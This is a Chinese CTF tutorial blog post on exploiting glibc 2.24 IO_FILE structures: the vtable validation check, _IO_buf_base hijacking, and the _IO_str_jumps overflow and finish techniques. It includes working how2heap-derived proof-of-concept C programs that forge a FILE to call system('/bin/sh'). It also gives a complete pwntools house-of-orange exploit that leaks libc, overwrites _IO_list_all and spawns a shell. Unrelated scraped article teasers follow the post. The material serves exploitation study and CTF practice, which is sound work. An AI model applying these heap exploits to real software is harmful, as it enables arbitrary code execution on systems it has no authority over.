glibc 2.24 下 IO_FILE 的利用

文章目录

  • glibc 2.24 下 IO_FILE 的利用
    • 介绍:
    • 新的利用技术
      • fileno 与缓冲区的相关利用
      • 实例:
      • 1. _IO_str_jumps -> overflow
        • 实例:
      • 2. _IO_str_jumps -> finish
        • 实例:
    • 最后拓展一下上一篇博客house of orange题目的做法:

glibc 2.24 下 IO_FILE 的利用

介绍:

  1. 在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

    image-20240821142640099

    /* Check if unknown vtable pointers are permitted; otherwise,
       terminate the process.  */
    void _IO_vtable_check (void) attribute_hidden;
    
    /* Perform vtable pointer validation.  If validation fails, terminate
       the process.  */
    static inline const struct _IO_jump_t *
    IO_validate_vtable (const struct _IO_jump_t *vtable)
    {
      /* Fast path: The vtable pointer is within the __libc_IO_vtables
         section.  */
      uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
      const char *ptr = (const char *) vtable;
      uintptr_t offset = ptr - __start___libc_IO_vtables;
      if (__glibc_unlikely (offset >= section_length)) // 超出范围
        /* The vtable pointer is not in the expected section.  Use the
           slow path, which will terminate the process if necessary.  */
        _IO_vtable_check ();
      return vtable;
    }
    
    
    void attribute_hidden
    _IO_vtable_check (void)
    {
    #ifdef SHARED
      /* Honor the compatibility flag.  */
      void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
    #ifdef PTR_DEMANGLE
      PTR_DEMANGLE (flag);
    #endif
      if (flag == &_IO_vtable_check)
        return;
    
      /* In case this libc copy is in a non-default namespace, we always
         need to accept foreign vtables because there is always a
         possibility that FILE * objects are passed across the linking
         boundary.  */
      {
        Dl_info di;
        struct link_map *l;
        if (!rtld_active ()
            || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
                && l->l_ns != LM_ID_BASE))
          return;
      }
    
    #else /* !SHARED */
      /* We cannot perform vtable validation in the static dlopen case
         because FILE * handles might be passed back and forth across the
         boundary.  Therefore, we disable checking in this case.  */
      if (__dlopen != NULL)
        return;
    #endif
    
      __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
    }
    

    如果 vtable 是非法的,那么会引发 abort。

    这里的检查使得以往使用 vtable 进行利用的技术很难实现。

新的利用技术

fileno 与缓冲区的相关利用

  1. 在 vtable 难以被利用之后,利用的关注点从 vtable 转移到_IO_FILE 结构内部的域中。 前面介绍过 _IO_FILE 在使用标准 IO 库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用诸如 fwrite、fread 等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。

    struct _IO_FILE {
      int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
      /* The following pointers correspond to the C++ streambuf protocol. */
      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      char* _IO_read_ptr;   /* Current read pointer */
      char* _IO_read_end;   /* End of get area. */
      char* _IO_read_base;  /* Start of putback+get area. */
      char* _IO_write_base; /* Start of put area. */
      char* _IO_write_ptr;  /* Current put pointer. */
      char* _IO_write_end;  /* End of put area. */
      char* _IO_buf_base;   /* Start of reserve area. */
      char* _IO_buf_end;    /* End of reserve area. */
      /* The following fields are used to support backing up and undo. */
      char *_IO_save_base; /* Pointer to start of non-current get area. */
      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      char *_IO_save_end; /* Pointer to end of non-current get area. */
    
      struct _IO_marker *_markers;
    
      struct _IO_FILE *_chain;
    
      int _fileno;
      int _flags2;
      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    };
    

    因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf\printf 一样可以进行利用。

    在 _ IO_FILE 中**_ IO_buf_base 表示操作的起始地址**,_IO_buf_end 表示结束地址,通过控制这两个数据可以实现控制读写的操作。

实例:

  1. 简单的观察一下_IO_FILE 对于调用 scanf 的作用:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(void)
    {
         char stack_buf[100];
         scanf("%s",stack_buf);
         scanf("%s",stack_buf);
         return 0;	
    }
    

    在执行程序第一次使用 stdin 之前,stdin 的内容还未初始化是空的:

    image-20240821144311169

    调用 scanf 之后可以看到**_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end** 等域都被初始化,但是**_IO_2_1_stdout_还未初始化**,因为没有调用有关输出的函数:

    image-20240821144420361

    进一步观察,可以发现其实 stdin 初始化的内存是在堆上分配出来的,在这里堆的基址是 0x405000,因为之前没有堆分配因此缓冲区的地址也是 0x405010

    image-20240821144642284

    我这里使用的是glibc2.27,前面有一个tcache,所以起始地址是0x405260,大小为0x400:

    image-20240821144737899

    image-20240821145315162

    接下来我们尝试修改_IO_buf_base 来实现任意地址读写,全局缓冲区 buf 的地址是 0x7ffff7bec880。修改_IO_buf_base 和_IO_buf_end 到缓冲区 buf 的地址:

    image-20240821145742308

    image-20240821150103576

    之后 scanf 的读入数据就会写入到 0x7ffff7bec880 的位置,同时也可以看到**_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end** 值也根据_IO_buf_base 的值而有所修改:

    image-20240821150204103

1. _IO_str_jumps -> overflow

  1. libc中不仅仅只有_IO_file_jumps这么一个vtable,还有一个叫_IO_str_jumps的 ,这个 vtable 不在 check 范围之内。

image-20240821195445832

  1. 如果我们能设置文件指针的 vtable_IO_str_jumps 那么就能调用不一样的文件操作函数。这里以_IO_str_overflow为例子:

    int
    _IO_str_overflow (_IO_FILE *fp, int c)
    {
      int flush_only = c == EOF;
      _IO_size_t pos;
      if (fp->_flags & _IO_NO_WRITES)
          return flush_only ? 0 : EOF;
      if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
        {
          fp->_flags |= _IO_CURRENTLY_PUTTING;
          fp->_IO_write_ptr = fp->_IO_read_ptr;
          fp->_IO_read_ptr = fp->_IO_read_end;
        }
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
        {
          if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    	return EOF;
          else
    	{
    	  char *new_buf;
    	  char *old_buf = fp->_IO_buf_base;
    	  size_t old_blen = _IO_blen (fp);
    	  _IO_size_t new_size = 2 * old_blen + 100;
    	  if (new_size < old_blen)
    	    return EOF;
    	  new_buf
    	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); //劫持程序的流程
    	  if (new_buf == NULL)
    	    {
    	      /*	  __ferror(fp) = 1; */
    	      return EOF;
    	    }
    	  if (old_buf)
    	    {
    	      memcpy (new_buf, old_buf, old_blen);
    	      (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
    	      /* Make sure _IO_setb won't try to delete _IO_buf_base. */
    	      fp->_IO_buf_base = NULL;
    	    }
    	  memset (new_buf + old_blen, '\0', new_size - old_blen);
    
    	  _IO_setb (fp, new_buf, new_buf + new_size, 1);
    	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
    	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
    	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
    	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
    
    	  fp->_IO_write_base = new_buf;
    	  fp->_IO_write_end = fp->_IO_buf_end;
    	}
        }
    
      if (!flush_only)
        *fp->_IO_write_ptr++ = (unsigned char) c;
      if (fp->_IO_write_ptr > fp->_IO_read_end)
        fp->_IO_read_end = fp->_IO_write_ptr;
      return c;
    }
    

    利用以下代码来劫持程序流程:

    	  new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
    

    需要满足一下条件,来绕过判断 ,是程序来到该位置:

    • fp->_flags & _IO_NO_WRITES 为假
    • (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_ IO_buf_end - fp->_IO_buf_base) + flush_only(1)) 为真
    • fp->_flags & _IO_USER_BUF 为假
    • (fp->_ IO_buf_end - fp->_IO_buf_base) + 100 不能为负数

    下面的条件来getshell

    • new_size = 2 * (fp->_ IO_buf_end - fp->_IO_buf_base) + 100; 应当等于 /bin/sh字符串 对应的地址
    • fp+0xf0指向system地址

    看一下_IO_strfile这个结构体,其中又涉及到_IO_str_fields和_IO_streambuf两个结构体,就能明白为什么system的地址要填在fp+0xe0

    image-20240821153756495

    将**_IO_2_1_stdin_强制转化为_IO_strfile_类型后输出,观察_allocate_buffer偏移**情况(因为最后函数是通过 _allocate_buffer来调用的):

    image-20240821154952691

    最后构造:

    _flags = 0
    _IO_write_base = 0
    _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
    _IO_buf_end = (binsh_in_libc_addr -100) / 2 
    
    //_freeres_list = 0x2
    //_freeres_buf = 0x3
    _mode = -1
    
    vtable = _IO_str_overflow - 0x18 = _IO_str_jumps
    fp+0xf0 -> system_addr
    
实例:
  1. 修改了 how2heap 的 houseoforange 代码,来自己动手调试一下。

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int winner ( char *ptr);
    int main()
    {
        char *p1, *p2;
        size_t io_list_all, *top;
        // unsorted bin attack
        p1 = malloc(0x400-16);
        top = (size_t *) ( (char *) p1 + 0x400 - 16);
        top[1] = 0xc01;
        p2 = malloc(0x1000);
        io_list_all = top[2] + 0x9a8;
        top[3] = io_list_all - 0x10;
        // _IO_str_overflow conditions
        char binsh_in_libc[] = "/bin/sh"; // we can found "/bin/sh" in libc, here i create it in stack
        // top[0] = ~1;
        // top[0] &= ~8;
        top[0] = 0;
        top[4] = 0; // write_base
        top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr
        top[7] = 0; // buf_base
        top[8] = top[5] - 1; // buf_end
        // house_of_orange conditions
        top[1] = 0x61;
    
        //top[20] = (size_t) &top[18];
        top[21] = 2;
        top[22] = 3;
        top[24] = -1;
        top[27] = (size_t)stdin - 0x1140; // _IO_str_jumps地址
        top[28] = (size_t) &winner;
    
        /* Finally, trigger the whole chain by calling malloc */
        malloc(10);
        return 0;
    }
    int winner(char *ptr)
    { 
        system(ptr);
        return 0;
    }
    

    伪造的file如下:

    image-20240821163936329

    查看相应的结构体如下:

    image-20240821170117124

    最后申请malloc,mian_arena_88+0x68处的_chain成功衔接到fake_file:

    image-20240821164638732

    最后,进入到**IO_flush_all_lockp**函数来刷新所有文件,后面成功调用到 ** IO_str_overflow函数**(如果没有用_IO_str_jumps地址来覆盖vtable的话,该位置应该调用的是 _IO_file_overflow函数),传入的参数是fake_chunk的地址:

    image-20240821175402369

    进入到_IO_str_overflow函数后,成功绕过检查,调用到winner,传入的参数是**/bin/sh字符串的地址**:

    image-20240821170338895

    image-20240821175626428

    最后成功get shell:

    image-20240821173941797

  2. 总结:

    • 区别于直接覆盖vtable到伪造的地址,用IO_str_jumps的地址来覆盖能够通过_IO_vtable_check检查:

    • 伪造的FILE满足的条件除了:(fp-> _ mode <= 0 && fp->_ IO_write_ptr > fp->_ IO_write_base)(使得能调用到IO_str_overflow函数)

      其次还要满足:

      • fp->_flags & _IO_NO_WRITES 为假
      • (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_ IO_buf_end - fp->_IO_buf_base) + flush_only(1)) 为真
      • fp->_flags & _IO_USER_BUF 为假
      • (fp->_ IO_buf_end - fp->_IO_buf_base) + 100 不能为负数

      最后才能控制程序的执行流程,下面的条件来getshell

      • new_size = 2 * (fp->_ IO_buf_end - fp->_IO_buf_base) + 100; 应当等于 /bin/sh字符串 对应的地址
      • fp+0xf0指向system地址

2. _IO_str_jumps -> finish

  1. 原理与上面的 _IO_str_jumps -> overflow 类似:

    void _IO_str_finish(_IO_FILE *fp, int dummy)
    {
      if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
        (((_IO_strfile *)fp)->_s._free_buffer)(fp->_IO_buf_base); // 挟持程序的执行流程
      fp->_IO_buf_base = NULL;
    
      _IO_default_finish(fp, 0);
    }
    

    需要的条件:

    • fp->_IO_buf_base 不能为空
    • fp->_flags & _IO_USER_BUF 要为假

    构造如下:

    _flags = (binsh_in_libc + 0x10) & ~1
    _IO_buf_base = bin_sh_addr
    	
    _freeres_list = 0x2
    _freeres_buf = 0x3
    _mode = -1
    vtable = _IO_str_finish - 0x18 = _IO_str_jumps - 0x8
    fp+0xe8 -> system_addr
    
实例:
  1. 1:修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int winner ( char *ptr);
    int main()
    {
        char *p1, *p2;
        size_t io_list_all, *top;
        // unsorted bin attack
        p1 = malloc(0x400-16);
        top = (size_t *) ( (char *) p1 + 0x400 - 16);
        top[1] = 0xc01;
        p2 = malloc(0x1000);
        io_list_all = top[2] + 0x9a8;
        top[3] = io_list_all - 0x10;
        
        // _IO_str_overflow conditions
        char binsh_in_libc[] = "/bin/sh"; // we can found "/bin/sh" in libc, here i create it in stack
        // top[0] = ~1;
        // top[0] &= ~8;
        top[0] = 0;
        top[4] = 0; // write_base
        top[5] = 1; // write_ptr
        top[7] = (size_t)&binsh_in_libc; // buf_base
        top[8] = 0; // buf_end
        
        // house_of_orange conditions
        top[1] = 0x61;
        //top[20] = (size_t) &top[18];
        top[21] = 2;
        top[22] = 3;
        top[24] = -1;
        top[27] = (size_t)stdin - 0x1160 -8; // _IO_str_jumps地址
        top[29] = (size_t) &winner;
    
        /* Finally, trigger the whole chain by calling malloc */
        malloc(10);
        return 0;
    }
    int winner(char *ptr)
    { 
        system(ptr);
        return 0;
    }
    
  2. 调试如下:

    伪造的fake_chunk:

    image-20240821201805048

    成功调用到**_IO_str_finish函数**:

    image-20240821201837406

    成功绕过检查,调用到winner函数:

    image-20240821202149017

    成功get shell:

    image-20240821202224930

最后拓展一下上一篇博客house of orange题目的做法:

文章:House of Orange-CSDN博客

  1. EXP,分别使用上面两钟方法:

    from pwn import *
    import numpy as np
    # from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    def debug():
        gdb.attach(p)
    
    # p = remote("node4.anna.nssctf.cn",28353)
    # libc = ELF('./libc.so.6')
    p = process("./pwn") 
    libc = ELF("/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
    # elf = ELF("./pwn")
    
    
    def add(size,name):
        p.sendlineafter(b':',b'1')
        p.sendlineafter(b'it',str(size).encode())
        p.sendafter(b"?",name)
    
    def edit(content):
        p.sendlineafter(b':',b'2')
        p.sendlineafter(b"it",str(len(content)).encode())
        p.sendafter(b"name",content)
    
    def show():
        p.sendlineafter(b':',b'3')
    
    # 回收heap地址
    heap_addr = eval(p.recv(14).decode())-0x10
    success("heap_addr ==> " + hex(heap_addr))
    
    # 泄漏libc地址
    add(0x10,b"lzl")
    payload = p64(0)*3 + p64(0xfc1)
    edit(payload)
    add(0x1000,b"lzl")
    
    add(0x10,b"a"*8)
    show()
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = (addr-(main_arena_offset+0x58)-0x610)
    success("libc_addr==>"+hex(libc_base))
    
    IO_list_all_addr   = libc_base + libc.symbols["_IO_list_all"]
    _IO_str_jumps_addr = IO_list_all_addr - 0x1D80
    system_addr        = libc_base + libc.sym["system"]
    sh_addr            = libc_base + next(libc.search(b"/bin/sh"))
    
    success("_IO_str_jumps_addr ==> " + hex(_IO_str_jumps_addr))
    success("IO_list_all_addr   ==> " + hex(IO_list_all_addr))
    success("system_addr        ==> " + hex(system_addr))
    success("sh_addr            ==> " + hex(sh_addr))
    
    # ============= 法一 =============
    # # unsorted bin attack 覆盖IO_list_all指针
    # # 构造IO_file 覆盖vtable -> 堆上地址,最后调用_IO_new_file_overflow函数get shell
    # payload = p64(0)*2
    # # file头
    # payload+= b"/bin/sh\x00" + p64(0x60)
    # # unsorted bin attack
    # payload+= p64(0) + p64(IO_list_all_addr-0x10)
    # # _IO_write_ptr > _IO_write_base
    # payload+= p64(0) + p64(1)
    # payload = payload.ljust(0xe8,b"\x00")
    # payload+= p64(heap_addr + 0x140) + p64(0)*3 + p64(system_addr)
    
    
    # # ============= 法二 =============
    # # unsorted bin attack 覆盖IO_list_all指针
    # # 构造IO_file 覆盖vtable -> _IO_str_jumps ,最后调用__GI__IO_str_overflow函数get shell
    # payload = p64(0)*2
    # # file头 flag   _IO_read_ptr
    # payload+= p64(0) + p64(0x60)
    # # unsorted bin attack
    # payload+= p64(0) + p64(IO_list_all_addr-0x10)
    
    # #  _IO_write_base < _IO_write_ptr && 
    # payload+= p64(0) + p64(int((sh_addr-100)/2 + 4))
    # # _IO_buf_end
    # payload+= p64(0)*2 + p64(int((sh_addr-100)/2 + 3))
    
    # payload = payload.ljust(0xe8,b"\x00")
    # # vtable->_IO_str_jumps   _allocate_buffer->system_addr
    # payload+= p64(_IO_str_jumps_addr) + p64(system_addr)
    
    
    # ============= 法三 =============
    # unsorted bin attack 覆盖IO_list_all指针
    # 构造IO_file 覆盖vtable -> _IO_str_jumps ,最后调用__GI__IO_str_overflow函数get shell
    payload = p64(0)*2
    # file头 flag   _IO_read_ptr
    payload+= p64(0) + p64(0x60)
    # unsorted bin attack
    payload+= p64(0) + p64(IO_list_all_addr-0x10)
    
    #  _IO_write_base < _IO_write_ptr && 
    payload+= p64(0) + p64(1)
    # _IO_buf_end
    payload+= p64(0) + p64(sh_addr)
    
    payload = payload.ljust(0xe8,b"\x00")
    # vtable->_IO_str_jumps   _allocate_buffer->system_addr
    payload+= p64(_IO_str_jumps_addr - 0x8) + p64(0) + p64(system_addr)
    edit(payload)
    
    p.sendlineafter(b':',b'1')
    p.sendlineafter(b'it',str(0x10).encode())
    p.sendline(b"cat flag")
    p.interactive()
    

    关键部分,伪造的fake_chunk:

    法二,这里要注意,由于 字符串"/bin/sh"的地址是一个奇数,所以使用完整的"/bin/sh"不可行,会导致参数传递不完整,只能使用字符串"sh"的地址

    image-20240821215916641

    image-20240821220227269

    image-20240821215215843

    法三:

    image-20240821215354675

    都是能打通的:

    image-20240821214612285

    image-20240821214727566

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/871465.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

怎么对前端的一些按钮做一个权限校验

在一般情况下,我们需要对一些按钮做一个权限校验,来保证只有有权限的用户才能看到 1.创建一个js文件,来写我们的全局方法 我的方法是这样的 import Vue from vue;Vue.mixin({methods:{hasAuth(perm) {var authority this.$store.state.menu.permList;if (authority.indexOf(…

又搞到两款海外AI神器,确实强!

哈喽&#xff0c;各位小伙伴们好&#xff0c;我是给大家带来各类黑科技与前沿资讯的小武。 今天给大家安利两款海外AI神器&#xff0c;均已解除专业版限制&#xff0c;免翻&#xff0c;即可使用AI图片/视频修复(清晰度增强)、AI图片/视频一键抠图、AI证件照、美颜相机等强大功…

STM32的GPIO

GPIO基本控制 GPIO(General-Purpose input/output,通用输入/输出接口) 用于感知外部信号&#xff08;输入模式&#xff09;和控制外部设备&#xff08;输出模式&#xff09; 简单模块&#xff1a;LED,按键&#xff0c;蜂鸣器&#xff0c;温度传感器&#xff0c;使用一个GPIO…

安装MySQL入门基础指令

一.安装MySQL(以5.7版本为例) 1.一路默认安装&#xff0c;截图供大家参考 修改自己window安装名字即可 2.配置环境变量 C:\Program Files\MySQL\MySQL Server 5.7\bin 写入系统环境变量即可在window窗口使用其服务了 3.登录MySQL服务 进入控制台输入命令 mysql -u root …

MySQL InnoDB引擎四大特性ACID实现方案分析

文章目录 概要InnoDb引擎ACID模型的实现方案小结 概要 对于Mysql&#xff0c;事物的支撑并不依赖于Server层&#xff0c;不同的存储引擎对于事物的支持也不一样&#xff0c;对于我们常用的InnoDB引擎&#xff0c;其提供了一套基于【ACID模型】的事物完整的解决方案。为什么MyIS…

初识C++:开启C++之旅

目录 1.C的第一个程序 2.namesapce命名空间域 2.1namespace的意义 2.2.2namespace的定义 2.3命名空间的使用 3.C输入/输出 4.缺省参数 5.函数重载 6.引用 6.1引用的特性 6.2引用的使用 1.C的第一个程序 c版本&#xff1a; #include<iostream>using std::cout…

线性代数:每日一题1/特征值与相似对角化

设A, B 为二阶矩阵&#xff0c;且 AB BA , 则“A有两个不相等的特征值”是“B可对角化"的&#xff08;&#xff09; A. 充分必要条件 B. 充分不必要条件 C.必要不充分条件 D.既不充分也不必要条件 知识点&#xff1a; 特征向量与特征值的关系 相似矩阵的定义和性质 n阶…

计算机网络之TCP序号,确认序号和报文传输时间

开篇提示 本篇适合于了解基础知识&#xff0c;进行扩展提高的使用&#xff0c;附带考研习题以及解析。 TCP序号和确认序号的区别 TCP首部中有序号和确认序号&#xff0c;他们都是4个字节&#xff08;4B&#xff09;&#xff0c;且在数据传输中有很重要的意义&#xff0c;那么两…

【后端记录】修复MySql的错误修改的数据记录【binlog修复】

前言 今天入门后端的时候&#xff0c;不小心改了非预期的数据&#xff0c;因为还没学到事务&#xff0c;所以恢复数据还比较麻烦&#xff0c;站在巨人的肩膀上还是解决了&#xff0c;原文连接在下面 https://blog.csdn.net/qq_42874315/article/details/140480570 解决办法 原…

Spring核心思想讲解之控制反转(IOC)

控制反转概述 控制反转实现方式 XML方式 方式一 方式二 方式三 注解方式 第一步 第二步 第三步 依赖注入&#xff08;DI&#xff09;实现方式 XML方式 手动注入 set注入 构造器注入 自动注入 set注入 构造方法注入 注解方式 方式一&#xff1a; 方式二&…

用excel内容批量建立文件夹

建文件夹是电脑操作过程中比较常见的&#xff0c;但是用EXCEL内容批量建文件夹&#xff0c;这似乎不相关的两个操作&#xff0c;那么怎么实现这样的一个功能&#xff0c;我们需要用到专门的软件进行关联&#xff0c;推荐&#xff1a;可易文件夹批量生成器&#xff0c;这个软件有…

RCE编码绕过--php://filter妙用

目录 代码 如何绕过 payload构造 代码 <?php $content <?php exit; ?>; $content . $_POST[txt]; file_put_contents($_POST[filename],$content); 当你想要输入代码的时候前面会有<?php exit;?>;&#xff0c;代码没有办法执行下去&#xff0c;所以…

Linux驱动学习之点灯(四,linux2.6)

上篇最后的第二种点灯方法年代比较久远&#xff0c;register_chrdev&#xff08;&#xff09;这个函数一下申请了255个设备号&#xff0c;不建议使用 如下图 下图的函数在linux2.6里是上图函数的升级版&#xff0c;不过他是静态分配&#xff0c;后续还得添加到cdev里 从上图函…

【自动驾驶】控制算法(三)轮胎侧偏与车辆动力学模型

写在前面&#xff1a; &#x1f31f; 欢迎光临 清流君 的博客小天地&#xff0c;这里是我分享技术与心得的温馨角落。&#x1f4dd; 个人主页&#xff1a;清流君_CSDN博客&#xff0c;期待与您一同探索 移动机器人 领域的无限可能。 &#x1f50d; 本文系 清流君 原创之作&…

回收站的文件删除了怎么恢复?4个技巧轻松找回文件!

在日常使用电脑的过程中&#xff0c;回收站作为我们删除文件的临时存放地&#xff0c;扮演着重要的角色。然而&#xff0c;有时我们可能会不小心从回收站中删除了重要文件&#xff0c;导致数据丢失。面对这种情况&#xff0c;许多用户会感到焦虑和无助。但别担心&#xff0c;本…

白酒与素食:健康与美味的双重享受

在美食的世界里&#xff0c;白酒与素食的搭配仿佛是一场跨界的盛宴。豪迈白酒&#xff08;HOMANLISM&#xff09;的醇香与精致素食的清新&#xff0c;在不经意间交织出了一幅美妙的画卷&#xff0c;让人在品味中感受到健康与美味的双重享受。 素食&#xff0c;以其清淡、自然的…

CORS error 302 Found

CORS error && 302 Found 场景 单点登录认证&#xff1a;访问A系统&#xff0c;在B系统登录认证 此处代码为A系统 controller ResponseBodyGetMapping("/idp/loginCheck")public void loginCheck(HttpServletRequest request, HttpServletResponse httpR…

使用 nginx 搭建代理服务器(正向代理 https 网站)指南

写在前面 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站 文章目录 简介正向代理 简介ngx_http_proxy_connect_module 介绍 详细步骤包准备Linux 编译并安装 nginx修改 nginx 配置文件ngin…

【实现100个unity特效之24】使用ShaderGraph将图片转变为像素艺术

ShaderGraph连线图 效果 参考 https://www.youtube.com/watch?vBmhj7RgVDzc 完结 赠人玫瑰&#xff0c;手有余香&#xff01;如果文章内容对你有所帮助&#xff0c;请不要吝啬你的点赞评论和关注&#xff0c;你的每一次支持都是我不断创作的最大动力。当然如果你发现了文章…

Postgres 超时 (Timeout) 详解

原文地址 https://www.bytebase.com/blog/postgres-timeout/ PostgreSQL 提供各种超时 (Timeout) 设置&#xff0c;通过控制某些进程的持续时间来帮助管理和优化数据库操作。这些超时对于确保系统的稳定性和性能至关重要&#xff0c;尤其是在高流量或复杂查询的环境中。让我们…